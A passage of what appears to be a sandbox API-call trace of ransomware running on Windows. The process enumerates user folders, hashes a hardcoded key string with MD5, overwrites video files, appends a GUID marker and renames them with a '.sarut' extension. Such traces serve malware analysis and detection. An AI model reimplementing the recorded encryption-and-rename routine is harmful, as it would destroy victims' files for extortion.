HALPmcxz\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0269.260] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0269.260] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms") returned=".search-ms" [0269.260] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0269.260] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0269.260] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0269.261] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0269.261] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0269.261] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\") returned="SendTo\\" [0269.261] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0269.261] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0269.261] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0269.261] PathFindFileNameW (pszPath="") returned="" [0269.261] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0269.261] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0269.261] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0269.261] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\") returned="Start Menu\\" [0269.261] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0269.261] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0269.261] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0269.262] PathFindFileNameW (pszPath="") returned="" [0269.262] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0269.262] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0269.262] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0269.262] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\") returned="Templates\\" [0269.262] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0269.262] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0269.262] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0269.262] PathFindFileNameW (pszPath="") returned="" [0269.262] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0269.262] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0269.262] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0269.262] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0269.263] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0269.263] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0269.263] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0269.263] PathFindFileNameW (pszPath="") returned="" [0269.263] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc451bac0, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc451bac0, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0269.263] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc451bac0, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc451bac0, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.263] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29355f30, ftCreationTime.dwHighDateTime=0x1d4ce31, ftLastAccessTime.dwLowDateTime=0x543fcf70, ftLastAccessTime.dwHighDateTime=0x1d4c70c, ftLastWriteTime.dwLowDateTime=0x543fcf70, ftLastWriteTime.dwHighDateTime=0x1d4c70c, nFileSizeHigh=0x0, nFileSizeLow=0xc53, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-cTwhDb_kz0NM.mkv", cAlternateFileName="-CTWHD~1.MKV")) returned 1 [0269.263] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-cTwhDb_kz0NM.mkv") returned=".mkv" [0269.263] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-cTwhDb_kz0NM.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\-ctwhdb_kz0nm.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.266] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=3155) returned 1 [0269.266] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.268] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xc2d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.268] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.273] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xc53, lpOverlapped=0x0) returned 1 [0269.273] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.273] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.273] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.273] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.274] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.274] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.274] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.274] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.274] GetLastError () returned 0x0 [0269.274] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.274] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.274] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xc53, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.274] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.274] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.274] CloseHandle (hObject=0x5c4) returned 1 [0269.276] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-cTwhDb_kz0NM.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\-ctwhdb_kz0nm.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-cTwhDb_kz0NM.mkv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\-ctwhdb_kz0nm.mkv.sarut")) returned 1 [0269.277] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.277] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.278] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.278] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4036360, ftCreationTime.dwHighDateTime=0x1d4d583, ftLastAccessTime.dwLowDateTime=0xeaa71f70, ftLastAccessTime.dwHighDateTime=0x1d4c5c4, ftLastWriteTime.dwLowDateTime=0xeaa71f70, ftLastWriteTime.dwHighDateTime=0x1d4c5c4, nFileSizeHigh=0x0, nFileSizeLow=0x16474, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-odfzMtVfgsa IL.swf", cAlternateFileName="-ODFZM~1.SWF")) returned 1 [0269.278] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.278] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa51f8 [0269.278] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.278] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-odfzMtVfgsa IL.swf") returned=".swf" [0269.278] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-odfzMtVfgsa IL.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\-odfzmtvfgsa il.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.279] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=91252) returned 1 [0269.279] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.282] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1644e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.282] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.284] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.284] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.285] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x16474, lpOverlapped=0x0) returned 1 [0269.286] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.286] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.286] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.286] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0269.287] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.287] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.287] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.287] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.287] GetLastError () returned 0x0 [0269.287] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.287] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0269.287] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x16470) returned 0x311d708 [0269.288] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.288] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.288] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x1646f, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x1646f, lpOverlapped=0x0) returned 1 [0269.288] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.288] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.289] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.289] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.289] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.289] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.289] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.289] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.289] CloseHandle (hObject=0x5c4) returned 1 [0269.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0269.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0269.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0269.292] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-odfzMtVfgsa IL.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\-odfzmtvfgsa il.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-odfzMtVfgsa IL.swf.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\-odfzmtvfgsa il.swf.sarut")) returned 1 [0269.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.293] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.294] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa51f8 | out: hHeap=0x640000) returned 1 [0269.294] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f29d9e0, ftCreationTime.dwHighDateTime=0x1d4cb95, ftLastAccessTime.dwLowDateTime=0xbdb17a90, ftLastAccessTime.dwHighDateTime=0x1d4d4f8, ftLastWriteTime.dwLowDateTime=0xbdb17a90, ftLastWriteTime.dwHighDateTime=0x1d4d4f8, nFileSizeHigh=0x0, nFileSizeLow=0x167fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1wkpap.mkv", cAlternateFileName="")) returned 1 [0269.294] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.294] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0269.294] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.294] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1wkpap.mkv") returned=".mkv" [0269.294] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1wkpap.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1wkpap.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.295] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=92156) returned 1 [0269.296] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.298] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x167d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.298] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.299] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.299] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.299] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.299] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x167fc, lpOverlapped=0x0) returned 1 [0269.300] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.300] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.301] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.301] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.301] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.302] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.302] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.302] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.302] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.302] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.302] GetLastError () returned 0x0 [0269.302] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.302] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.302] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.302] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x16800) returned 0x311d708 [0269.302] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.303] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.303] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x167f7, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x167f7, lpOverlapped=0x0) returned 1 [0269.303] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.303] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x167fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.303] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.303] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 